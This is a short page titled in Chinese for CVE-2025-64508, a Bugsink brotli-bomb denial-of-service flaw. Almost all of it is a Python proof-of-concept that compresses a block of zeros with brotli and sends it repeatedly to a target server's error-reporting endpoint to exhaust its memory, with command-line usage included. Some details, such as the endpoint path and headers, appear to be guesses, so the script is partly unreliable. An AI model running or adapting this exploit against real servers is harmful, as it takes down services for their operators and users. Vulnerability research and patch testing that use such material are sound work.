CVE-2025-64508 Bugsink brotli炸弹拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-64508 PoC - Bugsink Brotli Bomb DoS Note: This is for educational and authorized testing purposes only. """ import brotli import requests import sys def generate_brotli_bomb(): """ Generate a brotli bomb - highly compressed data that expands to huge size when decompressed. The classic approach uses repeated zeros which compress extremely well with brotli. """ # Create highly compressible data (lots of zeros) # A small amount of this data will expand to massive size when decompressed bomb_data = b'\x00' * 1024 * 1024 # 1MB of zeros # Compress with brotli - this should result in very small output compressed = brotli.compress(bomb_data) print(f"Original size: {len(bomb_data)} bytes") print(f"Compressed size: {len(compressed)} bytes") print(f"Compression ratio: {len(bomb_data) / len(compressed):.2f}x") return compressed def send_brotli_bomb(target_url, dsn, num_requests=5): """ Send brotli bomb to target Bugsink server. Args: target_url: Base URL of the Bugsink server dsn: Data Source Name for the target project num_requests: Number of concurrent bomb requests to send """ bomb = generate_brotli_bomb() # Construct the endpoint - typically bugsink receives error reports via API endpoint = f"{target_url.rstrip('/')}/api/v1/errors" headers = { 'Content-Type': 'application/brotli', 'X-Bugsink-DSN': dsn, 'User-Agent': 'Bugsink-Bomb-PoC/1.0' } print(f"\nSending {num_requests} brotli bombs to {endpoint}...") try: for i in range(num_requests): response = requests.post( endpoint, data=bomb, headers=headers, timeout=30 ) print(f"Request {i+1}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") print("\nAttack completed. Check server memory usage.") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-64508-poc.py <target_url> <dsn> [num_requests]") print("Example: python cve-2025-64508-poc.py https://bugsink.example.com 'https://[email protected]/123' 10") sys.exit(1) target = sys.argv[1] dsn = sys.argv[2] num = int(sys.argv[3]) if len(sys.argv) > 3 else 5 send_brotli_bomb(target, dsn, num)